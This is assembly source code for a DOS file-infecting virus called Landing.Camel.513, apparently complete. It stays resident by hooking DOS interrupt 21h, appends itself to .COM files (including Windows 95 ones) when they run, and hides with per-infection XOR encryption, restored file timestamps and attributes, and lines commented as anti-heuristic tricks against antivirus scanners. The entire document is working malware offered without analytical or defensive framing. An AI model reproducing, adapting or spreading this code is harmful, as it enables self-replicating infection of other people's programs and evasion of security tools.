;==================================================;|
;	LANDING.CAMEL.4.513			   ;|
;==================================================;|
; 	TSR..................... Yes		   ;|
; 	Encrypted............... Yes		   ;|
; 	Appending Virus......... Yes		   ;|
; 	COM infector............ Yes		   ;|
; 	Windows95 COM infector.. Yes		   ;|										
; 	Reset Attributes........ Yes		   ;|
; 	Reset Time/Date......... Yes		   ;|
;==================================================;|
	ORG 0H					   ;|No worries about delta offset
;==================================================;|
	VIRUS_START:				   ;|
;==================================================;|
	CALL FIND_OFFSET			   ;|Calculate the delta offset
;==================================================;|
	FIND_OFFSET:				   ;|
;==================================================;|
	POP	BP				   ;|
	SUB	BP,OFFSET FIND_OFFSET		   ;|BP now contains the delta offset
	LEA	AX,[ENCRYPT_DECRYPT+BP]		   ;|Load AX with offset
	CALL	AX				   ;|Decrypt the virus code
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
	ENCRYPT_START:				   ;|Start encrypted region
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
;==================================================;|
	INSTALL_CHECK:				   ;|
;==================================================;|
	MOV	AH,2CH				   ;|DOS Function-Get system time
	INT	21H				   ;|Call interrupt
	MOV	BL,DL				   ;|BL=a number from 0-100
	MOV	AH,0BH				   ;|DOS Function
	INT	21H				   ;|Call interrupt
	CMP	AH,00H				   ;|AH=0?
	JNE	INSTALL_START			   ;|No! Install the virus
	ADD	BX,BP				   ;|Account for the offset
	CMP	AL,CS:[BX]			   ;|Do the bytes match?
	JE	INSTALL_FINISH			   ;|Already installed!
;==================================================;|
	INSTALL_START:				   ;|
;==================================================;|
       	PUSH	DS				   ;|Save original DS
	PUSH	ES				   ;|Save original ES        
	MOV	AH,4AH XOR 66H 			   ;|DOS Function-Allocate memory
	XOR	AH,66H				   ;|Anti-heuristic
	MOV	BX,0FFFFH			   ;|A Really big number
	INT	21H				   ;|Call interrupt     
        SUB	BX,(VIRUS_LENGTH+15)/16+1   	   ;|Subtract from the total                                            
	MOV	AX,4A00H XOR 6600H		   ;|Shrink the block
	XOR	AX,6600H			   ;|Anti-heuristic
	INT	21H              		   ;|Call interrupt 
        MOV	AX,4800H XOR 6400H		   ;|Allocate the memory
	XOR	AX,6400H			   ;|Anti-heuristic
	MOV	BX,(VIRUS_LENGTH+15)/16		   ;|Amount to allocate
	INT	21H                  		   ;|Call interrupt
	MOV	ES,AX				   ;|Point ES to the new MCB
	DEC	AX				   ;|AX=MCB     
	MOV	DS,AX				   ;|DS=AX=MCB
        MOV	BYTE PTR DS:[0],'Z'		   ;|Mark the end of the block
	MOV	WORD PTR DS:[1],8		   ;|Identify as a DOS program                                     
        PUSH	CS				   ;|Change to the old segment
	POP	DS                      	   ;|DS=CS
	XOR	DI,DI				   ;|Copy virus to memory
	MOV	CX,(VIRUS_LENGTH+1)/2		   ;|Number of bytes to copy
        LEA     SI,BP		                   ;|Start at the beginning
	REP	MOVSW				   ;|Move DS:[SI] to ES:[DI]
;==================================================;|
	INSTALL_NEW_INT21H:			   ;|
;==================================================;|
	MOV	DS,CX				   ;|Change to the Interrupt Table
	MOV	AX,WORD PTR DS:[21H*4]		   ;|Load the offset of int 21h into AX
	MOV	WORD PTR ES:OLD_INT21H,AX	   ;|Save the offset of int 21h 
	MOV	AX,WORD PTR DS:[21H*4+2]	   ;|Load the segment of int 21h into AX
	MOV	WORD PTR ES:OLD_INT21H+2,AX	   ;|Save the segment of int 21h 
	PUSH	ES				   ;|Save ES
	POP	DS				   ;|Change segment to virus in memory
	MOV	AX,2125H XOR 0D25H		   ;|DOS Function-Set Interrupt Vector
	XOR	AX,0D25H			   ;|Anti-heuristic
	XCHG	AH,AL				   ;|Anti-heuristic
	LEA	DX,NEW_INT21H			   ;|Point to our procedure
	INT	21H				   ;|Call interrupt
	POP	ES				   ;|Restore original ES
	POP	DS				   ;|Restore original DS
;==================================================;|
	INSTALL_FINISH:				   ;|
;==================================================;|
	LEA	DI,[BP+OLD_BYTES]		   ;|Restore 3 bytes into memory
	MOV	SI,100H				   ;|Anti-heuristic
	XCHG	SI,DI				   ;|Anti-heuristic
	PUSH 	DI				   ;|Save 100H for the return
	MOVSW					   ;|Move word into memory
	MOVSB					   ;|Move byte into memory                   
	XOR	AX,AX				   ;|Clear register
	XOR	BX,BX				   ;|Clear register
	XOR	CX,CX				   ;|Clear register
	XOR	DX,DX				   ;|Clear register
	XOR	BP,BP				   ;|Clear register
	XOR	SI,SI				   ;|Clear register
	XOR	DI,DI				   ;|Clear register    
	RET					   ;|Pass control to the host file
	MSG	DB	'Landing.Camel.513',0	   ;|Virus name and author
;==================================================;|
	NEW_INT21H:				   ;|
;==================================================;|
	CMP	AH,0BH				   ;|Installation check?
	JE 	INSTALLATION_CHECK		   ;|Yes! Lets go do it
	PUSHF					   ;|Save flags
	PUSH	AX				   ;|Save registers
	PUSH	BX				   ;|Save registers
	PUSH	CX				   ;|Save registers
	PUSH	DX				   ;|Save registers
	PUSH	DI				   ;|Save registers
	PUSH	DS				   ;|Save registers
	PUSH	ES				   ;|Save registers
	XCHG	AH,AL				   ;|Anti-heuristic
	CMP	AX,004BH			   ;|DOS Function-Execute file?
	XCHG	AH,AL				   ;|Anti-heuristic
	JE	INFECT_FILE			   ;|Yes! Lets go do it
;==================================================;|
	QUIT:					   ;|
;==================================================;|
	POP	ES				   ;|
	POP	DS				   ;|
	POP	DI				   ;|
	POP	DX				   ;|
	POP	CX				   ;|
	POP	BX				   ;|
	POP	AX				   ;|
	POPF				  	   ;|
			DB	0EAH		   ;|Jump far instruction
	OLD_INT21H	DD	?		   ;|Original Int 21h address
;==================================================;|
	INSTALLATION_CHECK:			   ;|
;==================================================;|
	XOR	AH,AH				   ;|Clear AH
	MOV	AL,CS:[BX]			   ;|Move random byte into AL
	IRET                              	   ;| 
;==================================================;|
	INT21H:					   ;|
;==================================================;|
	PUSHF					   ;|Save Flags
	CALL 	DWORD PTR CS:[OLD_INT21H]	   ;|Call Interrupt 21h   
	RET					   ;|Return
;==================================================;|
	INFECT_FILE:				   ;|
;==================================================;|
	MOV	SI,DX				   ;|Load filename from DS:[DX] into DS:[SI]
;==================================================;|
	CHECK_EXTENSION:			   ;|Loop to test extension
;==================================================;|
	LODSB					   ;|Load a byte into AL from DS:[SI]
	OR	AL,AL				   ;|Are we at the eof?
	JE	QUIT				   ;|Yes! No extension!
	CMP	AL,"."				   ;|Is it a point?
	JNE	CHECK_EXTENSION			   ;|No! Test the next letter
	LODSW					   ;|Load a word into AX from DS:[SI]
	CMP	AX,"OC"				   ;|Are the first two letters OC?
	JNE	QUIT				   ;|No! Quit
	LODSB					   ;|Load a byte into AL from DS:[SI]
	CMP	AL,"M"				   ;|Is the last letter M?
	JNE	QUIT				   ;|No! Quit
	MOV	CX,4300H			   ;|DOS function=Get File Attribute
	XOR	AX,AX				   ;|Anti-heuristic
	XCHG	AX,CX				   ;|Anti-heuristic
	CALL	INT21H				   ;|Call original interrupt
	PUSH	CX				   ;|Save file attribute
	MOV	CX,4301H			   ;|DOS function=Set File Attribute
	PUSH	CX				   ;|Save attributes
	XOR	AX,AX				   ;|CX=0 so file attribute is normal file
	XCHG	AX,CX				   ;|Anti-heuristic
	CALL	INT21H				   ;|Call original interrupt
	MOV	AX,3D02H			   ;|DOS function=Open a File (Read and Write)
	CALL	INT21H				   ;|DX holds the name of the file
	JC	RESTORE_ATTRIBUTES		   ;|Error opening file!
	XCHG	BX,AX				   ;|Exchange handle        
	MOV 	AX,5700H			   ;|DOS function=Get File Time/Date
	CALL	INT21H				   ;|Call original interrupt
	PUSH	CX				   ;|Save Time
	PUSH	DX				   ;|Save Date
	PUSH	CS				   ;|Change the segment to ours
	POP	DS				   ;|rather than the infectee
	PUSH	CS				   ;|Change the segment to ours
	POP	ES				   ;|rather than the infectee
	MOV	AH,3FH				   ;|DOS function=Read from File
	LEA	DX,OLD_BYTES			   ;|Save the original bytes
	MOV	CX,3				   ;|Read the original bytes
	CALL	INT21H				   ;|Call original interrupt
	CMP	BYTE PTR OLD_BYTES,'Z'		   ;|Is the first byte a Z?
	JZ	CLOSE_FILE			   ;|Yes! File is really a .EXE
	CMP	BYTE PTR OLD_BYTES,'M'		   ;|Is the first byte a M?
	JZ	CLOSE_FILE			   ;|File is really a .EXE
	MOV	AX,4202H			   ;|DOS function=Set File Pointer
	MOV	DX,-7				   ;|Seek to EOF - 7
	MOV	CX,-1				   ;|Go backwards
	CALL	INT21H				   ;|Call original interrupt
	MOV	AH,3FH				   ;|DOS Function-Read from file
	LEA	DX,EOF_BUF			   ;|Save the bytes here
	MOV	CX,7				   ;|Read in 7 bytes
	CALL	INT21H				   ;|Call original interrupt
	ADD	WORD PTR [EOF_BUF+5],VIRUS_LENGTH  ;|Add virus length to EOF
	MOV	AX,4202H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|Go to end of file (EOF)
	CWD					   ;|Same as XOR DX,DX
	CALL	INT21H				   ;|Call original interrupt
	MOV	CX,WORD PTR [OLD_BYTES+1]	   ;|CX=Offset of jump
	ADD	CX,VIRUS_LENGTH+3		   ;|Add the virus length
	CMP	CX,AX				   ;|Compare the 2 values
        JE      CLOSE_FILE                         ;|File already infected!
	CMP	AX,64511			   ;|File less than 64511?
	JNA	WRITE_VIRUS			   ;|File isn't too large
;==================================================;|
	CLOSE_FILE:		 		   ;|
;==================================================;|
	MOV	AH,3EH	                     	   ;|Close file function
	CALL	INT21H				   ;|Call original interrupt
	MOV	AX,5700H			   ;|DOS function=Get File Time/Date
	POP	CX				   ;|CX=original time value
	POP	DX				   ;|DX=original date value
	ADD	AX,1				   ;|DOS function=Set File Time/Date
	CALL	INT21H				   ;|Call original interrupt
;==================================================;|
	RESTORE_ATTRIBUTES:			   ;|
;==================================================;|
	POP	AX				   ;|Restore attribute
	POP	CX				   ;|Restore attribute
	CALL	INT21H				   ;|Call original interrupt       
	JMP	QUIT				   ;|Leave it all behind
;==================================================;|
	WRITE_VIRUS:				   ;|
;==================================================;|
	MOV	BYTE PTR NEW_BYTES,0E9H		   ;|JMP code
	SUB	AX,3				   ;|AX=Filesize-3 (size of JMP)
	MOV	WORD PTR [NEW_BYTES+1],AX	   ;|Offset of JMP
	MOV	AH,2CH				   ;|DOS Function-Get System Time
	CALL	INT21H				   ;|Call original interrupt
	XCHG	CH,CL				   ;|Switch hours with minutes
	ADD	DX,CX				   ;|Add minutes to seconds ...
	XOR	DX,WORD PTR ENCRYPT_KEY	   	   ;|XOR with previous key
	MOV	WORD PTR ES:ENCRYPT_KEY,DX	   ;|Save the new key
	XOR	DI,DI				   ;|Start at beginning of the block
	XOR	SI,SI				   ;|Start at beginning of the block
	MOV	AX,08D00H			   ;|Choose a temporary segment
	MOV	ES,AX      			   ;|Now point to it
	MOV	CX,(VIRUS_LENGTH+1)/2		   ;|Number of words to copy
	REP	MOVSW				   ;|Copy the code
	PUSH	ES				   ;|Change the working segment to
	POP	DS				   ;|the freshly copied part
	XOR	BP,BP				   ;|Alter the delta offset
	LEA	AX,ENCRYPT_DECRYPT 		   ;|Load AX with offset
	CALL	AX				   ;|Encrypt the virus code
	LEA	DX,VIRUS_START			   ;|Start copying from beginning
	MOV	AX,VIRUS_LENGTH			   ;|Amount to copy
	MOV	CX,4000H			   ;|DOS Function-Write to file
	XCHG	AX,CX				   ;|Anti-heuristic
	CALL	INT21H				   ;|Call original interrupt
	PUSH	CS				   ;|Change the segment
	POP	DS				   ;|to the original file
	MOV	AX,4200H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|Go to beginning of file (BOF)
	CWD					   ;|Same as XOR DX,DX
	CALL	INT21H				   ;|Call original interrupt
	MOV	AX,03H				   ;|DOS function=Write to File
	MOV	CX,4000H			   ;|Write 3 bytes to beginning of file
	LEA	DX,NEW_BYTES			   ;|From NEW_BYTES
	XCHG	AX,CX				   ;|Anti-heuristic
	CALL	INT21H				   ;|Call original interrupt          
	JMP	CLOSE_FILE			   ;|All finished lets go
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
	ENCRYPT_END:				   ;|End encrypted region
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
;==================================================;|
	ENCRYPT_DECRYPT:			   ;|
;==================================================;|
	LEA	SI,[BP+ENCRYPT_START]		   ;|Start from the beginning
	MOV	DI,SI				   ;|Start from the beginning
	MOV	CX,(ENCRYPT_LENGTH+1)/2		   ;|How much to encrypt
;==================================================;|
	XOR_LOOP:				   ;|
;==================================================;|
	LODSW					   ;|Load word from SI into AX and INC SI
	JNC	FALSE_JMP1			   ;|Anti-heuristic
;==================================================;|
	FALSE_JMP2:				   ;|
;==================================================;|
	STOSW					   ;|Load word from AX into DI and INC DI
	LOOP	XOR_LOOP			   ;|Loop until finished
	RET					   ;|
;==================================================;|
	FALSE_JMP1:				   ;|
;==================================================;|
			DB	35H		   ;|This means XOR AX,WORD VALUE
	ENCRYPT_KEY	DW 	0000		   ;|Random encryption key
	JNC	FALSE_JMP2			   ;|Anti-heuristic
;==================================================;|
	VIRUS_DATA:			   	   ;|
;==================================================;|
	OLD_BYTES	DB 0CDH,20H,0		   ;|Original bytes from file
	NEW_BYTES	DB 3 DUP (?)		   ;|New bytes to be written
	EOF_BUF		DB 7 DUP (?)		   ;|Buffer for Win95 infections
;==================================================;|
	VIRUS_END:				   ;|
;==================================================;|

	ENCRYPT_LENGTH	EQU	OFFSET ENCRYPT_END - OFFSET ENCRYPT_START
	VIRUS_LENGTH	EQU	OFFSET VIRUS_END - OFFSET VIRUS_START

	END VIRUS_START